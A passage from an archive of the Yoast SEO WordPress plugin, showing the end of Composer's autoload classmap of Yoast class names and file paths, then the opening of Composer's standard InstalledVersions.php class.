    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Option_Wpseo_Watcher' => $baseDir . '/src/integrations/watchers/option-wpseo-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Primary_Category_Quick_Edit_Watcher' => $baseDir . '/src/integrations/watchers/primary-category-quick-edit-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Primary_Term_Watcher' => $baseDir . '/src/integrations/watchers/primary-term-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Search_Engines_Discouraged_Watcher' => $baseDir . '/src/integrations/watchers/search-engines-discouraged-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Woocommerce_Beta_Editor_Watcher' => $baseDir . '/src/integrations/watchers/woocommerce-beta-editor-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\XMLRPC' => $baseDir . '/src/integrations/xmlrpc.php',
    'Yoast\\WP\\SEO\\Introductions\\Application\\Ai_Fix_Assessments_Upsell' => $baseDir . '/src/introductions/application/ai-fix-assessments-upsell.php',
    'Yoast\\WP\\SEO\\Introductions\\Application\\Ai_Generate_Titles_And_Descriptions_Introduction_Upsell' => $baseDir . '/src/deprecated/src/introductions/application/ai-generate-titles-and-descriptions-introduction-upsell.php',
    'Yoast\\WP\\SEO\\Introductions\\Application\\Current_Page_Trait' => $baseDir . '/src/introductions/application/current-page-trait.php',
    'Yoast\\WP\\SEO\\Introductions\\Application\\Introductions_Collector' => $baseDir . '/src/introductions/application/introductions-collector.php',
    'Yoast\\WP\\SEO\\Introductions\\Application\\User_Allowed_Trait' => $baseDir . '/src/introductions/application/user-allowed-trait.php',
    'Yoast\\WP\\SEO\\Introductions\\Application\\Version_Trait' => $baseDir . '/src/introductions/application/version-trait.php',
    'Yoast\\WP\\SEO\\Introductions\\Domain\\Introduction_Interface' => $baseDir . '/src/introductions/domain/introduction-interface.php',
    'Yoast\\WP\\SEO\\Introductions\\Domain\\Introduction_Item' => $baseDir . '/src/introductions/domain/introduction-item.php',
    'Yoast\\WP\\SEO\\Introductions\\Domain\\Introductions_Bucket' => $baseDir . '/src/introductions/domain/introductions-bucket.php',
    'Yoast\\WP\\SEO\\Introductions\\Domain\\Invalid_User_Id_Exception' => $baseDir . '/src/introductions/domain/invalid-user-id-exception.php',
    'Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Introductions_Seen_Repository' => $baseDir . '/src/introductions/infrastructure/introductions-seen-repository.php',
    'Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Wistia_Embed_Permission_Repository' => $baseDir . '/src/introductions/infrastructure/wistia-embed-permission-repository.php',
    'Yoast\\WP\\SEO\\Introductions\\User_Interface\\Introductions_Integration' => $baseDir . '/src/introductions/user-interface/introductions-integration.php',
    'Yoast\\WP\\SEO\\Introductions\\User_Interface\\Introductions_Seen_Route' => $baseDir . '/src/introductions/user-interface/introductions-seen-route.php',
    'Yoast\\WP\\SEO\\Introductions\\User_Interface\\Wistia_Embed_Permission_Route' => $baseDir . '/src/introductions/user-interface/wistia-embed-permission-route.php',
    'Yoast\\WP\\SEO\\Loadable_Interface' => $baseDir . '/src/loadable-interface.php',
    'Yoast\\WP\\SEO\\Loader' => $baseDir . '/src/loader.php',
    'Yoast\\WP\\SEO\\Loggers\\Logger' => $baseDir . '/src/loggers/logger.php',
    'Yoast\\WP\\SEO\\Main' => $baseDir . '/src/main.php',
    'Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer' => $baseDir . '/src/memoizers/meta-tags-context-memoizer.php',
    'Yoast\\WP\\SEO\\Memoizers\\Presentation_Memoizer' => $baseDir . '/src/memoizers/presentation-memoizer.php',
    'Yoast\\WP\\SEO\\Models\\Indexable' => $baseDir . '/src/models/indexable.php',
    'Yoast\\WP\\SEO\\Models\\Indexable_Extension' => $baseDir . '/src/models/indexable-extension.php',
    'Yoast\\WP\\SEO\\Models\\Indexable_Hierarchy' => $baseDir . '/src/models/indexable-hierarchy.php',
    'Yoast\\WP\\SEO\\Models\\Primary_Term' => $baseDir . '/src/models/primary-term.php',
    'Yoast\\WP\\SEO\\Models\\SEO_Links' => $baseDir . '/src/models/seo-links.php',
    'Yoast\\WP\\SEO\\Models\\SEO_Meta' => $baseDir . '/src/models/seo-meta.php',
    'Yoast\\WP\\SEO\\Presentations\\Abstract_Presentation' => $baseDir . '/src/presentations/abstract-presentation.php',
    'Yoast\\WP\\SEO\\Presentations\\Archive_Adjacent' => $baseDir . '/src/presentations/archive-adjacent-trait.php',
    'Yoast\\WP\\SEO\\Presentations\\Indexable_Author_Archive_Presentation' => $baseDir . '/src/presentations/indexable-author-archive-presentation.php',
    'Yoast\\WP\\SEO\\Presentations\\Indexable_Date_Archive_Presentation' => $baseDir . '/src/presentations/indexable-date-archive-presentation.php',
    'Yoast\\WP\\SEO\\Presentations\\Indexable_Error_Page_Presentation' => $baseDir . '/src/presentations/indexable-error-page-presentation.php',
    'Yoast\\WP\\SEO\\Presentations\\Indexable_Home_Page_Presentation' => $baseDir . '/src/presentations/indexable-home-page-presentation.php',
    'Yoast\\WP\\SEO\\Presentations\\Indexable_Post_Type_Archive_Presentation' => $baseDir . '/src/presentations/indexable-post-type-archive-presentation.php',
    'Yoast\\WP\\SEO\\Presentations\\Indexable_Post_Type_Presentation' => $baseDir . '/src/presentations/indexable-post-type-presentation.php',
    'Yoast\\WP\\SEO\\Presentations\\Indexable_Presentation' => $baseDir . '/src/presentations/indexable-presentation.php',
    'Yoast\\WP\\SEO\\Presentations\\Indexable_Search_Result_Page_Presentation' => $baseDir . '/src/presentations/indexable-search-result-page-presentation.php',
    'Yoast\\WP\\SEO\\Presentations\\Indexable_Static_Home_Page_Presentation' => $baseDir . '/src/presentations/indexable-static-home-page-presentation.php',
    'Yoast\\WP\\SEO\\Presentations\\Indexable_Static_Posts_Page_Presentation' => $baseDir . '/src/presentations/indexable-static-posts-page-presentation.php',
    'Yoast\\WP\\SEO\\Presentations\\Indexable_Term_Archive_Presentation' => $baseDir . '/src/presentations/indexable-term-archive-presentation.php',
    'Yoast\\WP\\SEO\\Presenters\\Abstract_Indexable_Presenter' => $baseDir . '/src/presenters/abstract-indexable-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Abstract_Indexable_Tag_Presenter' => $baseDir . '/src/presenters/abstract-indexable-tag-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Abstract_Presenter' => $baseDir . '/src/presenters/abstract-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Admin\\Alert_Presenter' => $baseDir . '/src/presenters/admin/alert-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Admin\\Badge_Presenter' => $baseDir . '/src/presenters/admin/badge-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Admin\\Beta_Badge_Presenter' => $baseDir . '/src/presenters/admin/beta-badge-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Admin\\Help_Link_Presenter' => $baseDir . '/src/presenters/admin/help-link-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Admin\\Indexing_Error_Presenter' => $baseDir . '/src/presenters/admin/indexing-error-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Admin\\Indexing_Failed_Notification_Presenter' => $baseDir . '/src/presenters/admin/indexing-failed-notification-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Admin\\Indexing_List_Item_Presenter' => $baseDir . '/src/presenters/admin/indexing-list-item-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Admin\\Indexing_Notification_Presenter' => $baseDir . '/src/presenters/admin/indexing-notification-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Admin\\Light_Switch_Presenter' => $baseDir . '/src/presenters/admin/light-switch-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Admin\\Meta_Fields_Presenter' => $baseDir . '/src/presenters/admin/meta-fields-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Admin\\Migration_Error_Presenter' => $baseDir . '/src/presenters/admin/migration-error-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Admin\\Notice_Presenter' => $baseDir . '/src/presenters/admin/notice-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Admin\\Premium_Badge_Presenter' => $baseDir . '/src/presenters/admin/premium-badge-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Admin\\Search_Engines_Discouraged_Presenter' => $baseDir . '/src/presenters/admin/search-engines-discouraged-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Admin\\Sidebar_Presenter' => $baseDir . '/src/presenters/admin/sidebar-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Admin\\Woocommerce_Beta_Editor_Presenter' => $baseDir . '/src/presenters/admin/woocommerce-beta-editor-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Breadcrumbs_Presenter' => $baseDir . '/src/presenters/breadcrumbs-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Canonical_Presenter' => $baseDir . '/src/presenters/canonical-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Debug\\Marker_Close_Presenter' => $baseDir . '/src/presenters/debug/marker-close-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Debug\\Marker_Open_Presenter' => $baseDir . '/src/presenters/debug/marker-open-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Meta_Author_Presenter' => $baseDir . '/src/presenters/meta-author-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Meta_Description_Presenter' => $baseDir . '/src/presenters/meta-description-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Article_Author_Presenter' => $baseDir . '/src/presenters/open-graph/article-author-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Article_Modified_Time_Presenter' => $baseDir . '/src/presenters/open-graph/article-modified-time-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Article_Published_Time_Presenter' => $baseDir . '/src/presenters/open-graph/article-published-time-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Article_Publisher_Presenter' => $baseDir . '/src/presenters/open-graph/article-publisher-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Description_Presenter' => $baseDir . '/src/presenters/open-graph/description-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Image_Presenter' => $baseDir . '/src/presenters/open-graph/image-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Locale_Presenter' => $baseDir . '/src/presenters/open-graph/locale-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Site_Name_Presenter' => $baseDir . '/src/presenters/open-graph/site-name-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Title_Presenter' => $baseDir . '/src/presenters/open-graph/title-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Type_Presenter' => $baseDir . '/src/presenters/open-graph/type-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Url_Presenter' => $baseDir . '/src/presenters/open-graph/url-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Rel_Next_Presenter' => $baseDir . '/src/presenters/rel-next-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Rel_Prev_Presenter' => $baseDir . '/src/presenters/rel-prev-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Robots_Presenter' => $baseDir . '/src/presenters/robots-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Robots_Txt_Presenter' => $baseDir . '/src/presenters/robots-txt-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Schema_Presenter' => $baseDir . '/src/presenters/schema-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Score_Icon_Presenter' => $baseDir . '/src/presenters/score-icon-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Slack\\Enhanced_Data_Presenter' => $baseDir . '/src/presenters/slack/enhanced-data-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Title_Presenter' => $baseDir . '/src/presenters/title-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Twitter\\Card_Presenter' => $baseDir . '/src/presenters/twitter/card-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Twitter\\Creator_Presenter' => $baseDir . '/src/presenters/twitter/creator-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Twitter\\Description_Presenter' => $baseDir . '/src/presenters/twitter/description-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Twitter\\Image_Presenter' => $baseDir . '/src/presenters/twitter/image-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Twitter\\Site_Presenter' => $baseDir . '/src/presenters/twitter/site-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Twitter\\Title_Presenter' => $baseDir . '/src/presenters/twitter/title-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Url_List_Presenter' => $baseDir . '/src/presenters/url-list-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Webmaster\\Baidu_Presenter' => $baseDir . '/src/presenters/webmaster/baidu-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Webmaster\\Bing_Presenter' => $baseDir . '/src/presenters/webmaster/bing-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Webmaster\\Google_Presenter' => $baseDir . '/src/presenters/webmaster/google-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Webmaster\\Pinterest_Presenter' => $baseDir . '/src/presenters/webmaster/pinterest-presenter.php',
    'Yoast\\WP\\SEO\\Presenters\\Webmaster\\Yandex_Presenter' => $baseDir . '/src/presenters/webmaster/yandex-presenter.php',
    'Yoast\\WP\\SEO\\Promotions\\Application\\Promotion_Manager' => $baseDir . '/src/promotions/application/promotion-manager.php',
    'Yoast\\WP\\SEO\\Promotions\\Application\\Promotion_Manager_Interface' => $baseDir . '/src/promotions/application/promotion-manager-interface.php',
    'Yoast\\WP\\SEO\\Promotions\\Domain\\Abstract_Promotion' => $baseDir . '/src/promotions/domain/abstract-promotion.php',
    'Yoast\\WP\\SEO\\Promotions\\Domain\\Black_Friday_Checklist_Promotion' => $baseDir . '/src/promotions/domain/black-friday-checklist-promotion.php',
    'Yoast\\WP\\SEO\\Promotions\\Domain\\Black_Friday_Promotion' => $baseDir . '/src/promotions/domain/black-friday-promotion.php',
    'Yoast\\WP\\SEO\\Promotions\\Domain\\Promotion_Interface' => $baseDir . '/src/promotions/domain/promotion-interface.php',
    'Yoast\\WP\\SEO\\Promotions\\Domain\\Time_Interval' => $baseDir . '/src/promotions/domain/time-interval.php',
    'Yoast\\WP\\SEO\\Repositories\\Indexable_Cleanup_Repository' => $baseDir . '/src/repositories/indexable-cleanup-repository.php',
    'Yoast\\WP\\SEO\\Repositories\\Indexable_Hierarchy_Repository' => $baseDir . '/src/repositories/indexable-hierarchy-repository.php',
    'Yoast\\WP\\SEO\\Repositories\\Indexable_Repository' => $baseDir . '/src/repositories/indexable-repository.php',
    'Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository' => $baseDir . '/src/repositories/primary-term-repository.php',
    'Yoast\\WP\\SEO\\Repositories\\SEO_Links_Repository' => $baseDir . '/src/repositories/seo-links-repository.php',
    'Yoast\\WP\\SEO\\Routes\\Abstract_Action_Route' => $baseDir . '/src/routes/abstract-action-route.php',
    'Yoast\\WP\\SEO\\Routes\\Abstract_Indexation_Route' => $baseDir . '/src/routes/abstract-indexation-route.php',
    'Yoast\\WP\\SEO\\Routes\\Alert_Dismissal_Route' => $baseDir . '/src/routes/alert-dismissal-route.php',
    'Yoast\\WP\\SEO\\Routes\\First_Time_Configuration_Route' => $baseDir . '/src/routes/first-time-configuration-route.php',
    'Yoast\\WP\\SEO\\Routes\\Importing_Route' => $baseDir . '/src/routes/importing-route.php',
    'Yoast\\WP\\SEO\\Routes\\Indexables_Head_Route' => $baseDir . '/src/routes/indexables-head-route.php',
    'Yoast\\WP\\SEO\\Routes\\Indexing_Route' => $baseDir . '/src/routes/indexing-route.php',
    'Yoast\\WP\\SEO\\Routes\\Integrations_Route' => $baseDir . '/src/routes/integrations-route.php',
    'Yoast\\WP\\SEO\\Routes\\Meta_Search_Route' => $baseDir . '/src/routes/meta-search-route.php',
    'Yoast\\WP\\SEO\\Routes\\Route_Interface' => $baseDir . '/src/routes/route-interface.php',
    'Yoast\\WP\\SEO\\Routes\\SEMrush_Route' => $baseDir . '/src/routes/semrush-route.php',
    'Yoast\\WP\\SEO\\Routes\\Supported_Features_Route' => $baseDir . '/src/routes/supported-features-route.php',
    'Yoast\\WP\\SEO\\Routes\\Wincher_Route' => $baseDir . '/src/routes/wincher-route.php',
    'Yoast\\WP\\SEO\\Routes\\Workouts_Route' => $baseDir . '/src/routes/workouts-route.php',
    'Yoast\\WP\\SEO\\Routes\\Yoast_Head_REST_Field' => $baseDir . '/src/routes/yoast-head-rest-field.php',
    'Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Check' => $baseDir . '/src/services/health-check/default-tagline-check.php',
    'Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Reports' => $baseDir . '/src/services/health-check/default-tagline-reports.php',
    'Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Runner' => $baseDir . '/src/services/health-check/default-tagline-runner.php',
    'Yoast\\WP\\SEO\\Services\\Health_Check\\Health_Check' => $baseDir . '/src/services/health-check/health-check.php',
    'Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Check' => $baseDir . '/src/services/health-check/links-table-check.php',
    'Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Reports' => $baseDir . '/src/services/health-check/links-table-reports.php',
    'Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Runner' => $baseDir . '/src/services/health-check/links-table-runner.php',
    'Yoast\\WP\\SEO\\Services\\Health_Check\\MyYoast_Api_Request_Factory' => $baseDir . '/src/services/health-check/myyoast-api-request-factory.php',
    'Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Check' => $baseDir . '/src/services/health-check/page-comments-check.php',
    'Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Reports' => $baseDir . '/src/services/health-check/page-comments-reports.php',
    'Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Runner' => $baseDir . '/src/services/health-check/page-comments-runner.php',
    'Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Check' => $baseDir . '/src/services/health-check/postname-permalink-check.php',
    'Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Reports' => $baseDir . '/src/services/health-check/postname-permalink-reports.php',
    'Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Runner' => $baseDir . '/src/services/health-check/postname-permalink-runner.php',
    'Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder' => $baseDir . '/src/services/health-check/report-builder.php',
    'Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory' => $baseDir . '/src/services/health-check/report-builder-factory.php',
    'Yoast\\WP\\SEO\\Services\\Health_Check\\Reports_Trait' => $baseDir . '/src/services/health-check/reports-trait.php',
    'Yoast\\WP\\SEO\\Services\\Health_Check\\Runner_Interface' => $baseDir . '/src/services/health-check/runner-interface.php',
    'Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service' => $baseDir . '/src/services/importing/aioseo/aioseo-replacevar-service.php',
    'Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service' => $baseDir . '/src/services/importing/aioseo/aioseo-robots-provider-service.php',
    'Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service' => $baseDir . '/src/services/importing/aioseo/aioseo-robots-transformer-service.php',
    'Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Social_Images_Provider_Service' => $baseDir . '/src/services/importing/aioseo/aioseo-social-images-provider-service.php',
    'Yoast\\WP\\SEO\\Services\\Importing\\Conflicting_Plugins_Service' => $baseDir . '/src/services/importing/conflicting-plugins-service.php',
    'Yoast\\WP\\SEO\\Services\\Importing\\Importable_Detector_Service' => $baseDir . '/src/services/importing/importable-detector-service.php',
    'Yoast\\WP\\SEO\\Services\\Indexables\\Indexable_Version_Manager' => $baseDir . '/src/services/indexables/indexable-version-manager.php',
    'Yoast\\WP\\SEO\\Surfaces\\Classes_Surface' => $baseDir . '/src/surfaces/classes-surface.php',
    'Yoast\\WP\\SEO\\Surfaces\\Helpers_Surface' => $baseDir . '/src/surfaces/helpers-surface.php',
    'Yoast\\WP\\SEO\\Surfaces\\Meta_Surface' => $baseDir . '/src/surfaces/meta-surface.php',
    'Yoast\\WP\\SEO\\Surfaces\\Open_Graph_Helpers_Surface' => $baseDir . '/src/surfaces/open-graph-helpers-surface.php',
    'Yoast\\WP\\SEO\\Surfaces\\Schema_Helpers_Surface' => $baseDir . '/src/surfaces/schema-helpers-surface.php',
    'Yoast\\WP\\SEO\\Surfaces\\Twitter_Helpers_Surface' => $baseDir . '/src/surfaces/twitter-helpers-surface.php',
    'Yoast\\WP\\SEO\\Surfaces\\Values\\Meta' => $baseDir . '/src/surfaces/values/meta.php',
    'Yoast\\WP\\SEO\\User_Meta\\Application\\Additional_Contactmethods_Collector' => $baseDir . '/src/user-meta/application/additional-contactmethods-collector.php',
    'Yoast\\WP\\SEO\\User_Meta\\Application\\Cleanup_Service' => $baseDir . '/src/user-meta/application/cleanup-service.php',
    'Yoast\\WP\\SEO\\User_Meta\\Application\\Custom_Meta_Collector' => $baseDir . '/src/user-meta/application/custom-meta-collector.php',
    'Yoast\\WP\\SEO\\User_Meta\\Domain\\Additional_Contactmethod_Interface' => $baseDir . '/src/user-meta/domain/additional-contactmethod-interface.php',
    'Yoast\\WP\\SEO\\User_Meta\\Domain\\Custom_Meta_Interface' => $baseDir . '/src/user-meta/domain/custom-meta-interface.php',
    'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Facebook' => $baseDir . '/src/user-meta/framework/additional-contactmethods/facebook.php',
    'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Instagram' => $baseDir . '/src/user-meta/framework/additional-contactmethods/instagram.php',
    'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Linkedin' => $baseDir . '/src/user-meta/framework/additional-contactmethods/linkedin.php',
    'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Myspace' => $baseDir . '/src/user-meta/framework/additional-contactmethods/myspace.php',
    'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Pinterest' => $baseDir . '/src/user-meta/framework/additional-contactmethods/pinterest.php',
    'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Soundcloud' => $baseDir . '/src/user-meta/framework/additional-contactmethods/soundcloud.php',
    'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Tumblr' => $baseDir . '/src/user-meta/framework/additional-contactmethods/tumblr.php',
    'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Wikipedia' => $baseDir . '/src/user-meta/framework/additional-contactmethods/wikipedia.php',
    'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\X' => $baseDir . '/src/user-meta/framework/additional-contactmethods/x.php',
    'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Youtube' => $baseDir . '/src/user-meta/framework/additional-contactmethods/youtube.php',
    'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Author_Metadesc' => $baseDir . '/src/user-meta/framework/custom-meta/author-metadesc.php',
    'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Author_Title' => $baseDir . '/src/user-meta/framework/custom-meta/author-title.php',
    'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Content_Analysis_Disable' => $baseDir . '/src/user-meta/framework/custom-meta/content-analysis-disable.php',
    'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Inclusive_Language_Analysis_Disable' => $baseDir . '/src/user-meta/framework/custom-meta/inclusive-language-analysis-disable.php',
    'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Keyword_Analysis_Disable' => $baseDir . '/src/user-meta/framework/custom-meta/keyword-analysis-disable.php',
    'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Noindex_Author' => $baseDir . '/src/user-meta/framework/custom-meta/noindex-author.php',
    'Yoast\\WP\\SEO\\User_Meta\\Infrastructure\\Cleanup_Repository' => $baseDir . '/src/user-meta/infrastructure/cleanup-repository.php',
    'Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Additional_Contactmethods_Integration' => $baseDir . '/src/user-meta/user-interface/additional-contactmethods-integration.php',
    'Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Cleanup_Integration' => $baseDir . '/src/user-meta/user-interface/cleanup-integration.php',
    'Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Custom_Meta_Integration' => $baseDir . '/src/user-meta/user-interface/custom-meta-integration.php',
    'Yoast\\WP\\SEO\\User_Profiles_Additions\\User_Interface\\User_Profiles_Additions_Ui' => $baseDir . '/src/user-profiles-additions/user-interface/user-profiles-additions-ui.php',
    'Yoast\\WP\\SEO\\Values\\Images' => $baseDir . '/src/values/images.php',
    'Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions' => $baseDir . '/src/values/indexables/indexable-builder-versions.php',
    'Yoast\\WP\\SEO\\Values\\OAuth\\OAuth_Token' => $baseDir . '/src/values/oauth/oauth-token.php',
    'Yoast\\WP\\SEO\\Values\\Open_Graph\\Images' => $baseDir . '/src/values/open-graph/images.php',
    'Yoast\\WP\\SEO\\Values\\Robots\\Directive' => $baseDir . '/src/values/robots/directive.php',
    'Yoast\\WP\\SEO\\Values\\Robots\\User_Agent' => $baseDir . '/src/values/robots/user-agent.php',
    'Yoast\\WP\\SEO\\Values\\Robots\\User_Agent_List' => $baseDir . '/src/values/robots/user-agent-list.php',
    'Yoast\\WP\\SEO\\Values\\Twitter\\Images' => $baseDir . '/src/values/twitter/images.php',
    'Yoast\\WP\\SEO\\WordPress\\Wrapper' => $baseDir . '/src/wordpress/wrapper.php',
    'Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper' => $baseDir . '/src/wrappers/wp-query-wrapper.php',
    'Yoast\\WP\\SEO\\Wrappers\\WP_Remote_Handler' => $baseDir . '/src/wrappers/wp-remote-handler.php',
    'Yoast\\WP\\SEO\\Wrappers\\WP_Rewrite_Wrapper' => $baseDir . '/src/wrappers/wp-rewrite-wrapper.php',
    'Yoast_Dashboard_Widget' => $baseDir . '/admin/class-yoast-dashboard-widget.php',
    'Yoast_Dismissable_Notice_Ajax' => $baseDir . '/admin/ajax/class-yoast-dismissable-notice.php',
    'Yoast_Dynamic_Rewrites' => $baseDir . '/inc/class-yoast-dynamic-rewrites.php',
    'Yoast_Feature_Toggle' => $baseDir . '/admin/views/class-yoast-feature-toggle.php',
    'Yoast_Feature_Toggles' => $baseDir . '/admin/views/class-yoast-feature-toggles.php',
    'Yoast_Form' => $baseDir . '/admin/class-yoast-form.php',
    'Yoast_Form_Element' => $baseDir . '/admin/views/interface-yoast-form-element.php',
    'Yoast_Input_Select' => $baseDir . '/admin/views/class-yoast-input-select.php',
    'Yoast_Input_Validation' => $baseDir . '/admin/class-yoast-input-validation.php',
    'Yoast_Integration_Toggles' => $baseDir . '/admin/views/class-yoast-integration-toggles.php',
    'Yoast_Network_Admin' => $baseDir . '/admin/class-yoast-network-admin.php',
    'Yoast_Network_Settings_API' => $baseDir . '/admin/class-yoast-network-settings-api.php',
    'Yoast_Notification' => $baseDir . '/admin/class-yoast-notification.php',
    'Yoast_Notification_Center' => $baseDir . '/admin/class-yoast-notification-center.php',
    'Yoast_Notifications' => $baseDir . '/admin/class-yoast-notifications.php',
    'Yoast_Plugin_Conflict' => $baseDir . '/admin/class-yoast-plugin-conflict.php',
    'Yoast_Plugin_Conflict_Ajax' => $baseDir . '/admin/ajax/class-yoast-plugin-conflict-ajax.php',
);
wordpress-seo/vendor/composer/InstalledVersions.php000064400000037301147510273070016677 0ustar00<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer;

use Composer\Autoload\ClassLoader;
use Composer\Semver\VersionParser;

/**
 * This class is copied in every Composer installed project and available to all
 *
 * See also https://getcomposer.org/doc/07-runtime.md#installed-versions
 *
 * To require its presence, you can require `composer-runtime-api ^2.0`
 */
class InstalledVersions
{
    /**
     * @var mixed[]|null
     * @psalm-var array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}|array{}|null
     */
    private static $installed;

    /**
     * @var bool|null
     */
    private static $canGetVendors;

    /**
     * @var array[]
     * @psalm-var array<string, array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
     */
    private static $installedByVendor = array();

    /**
     * Returns a list of all package names which are present, either by being installed, replaced or provided
     *
     * @return string[]
     * @psalm-return list<string>
     */
    public static function getInstalledPackages()
    {
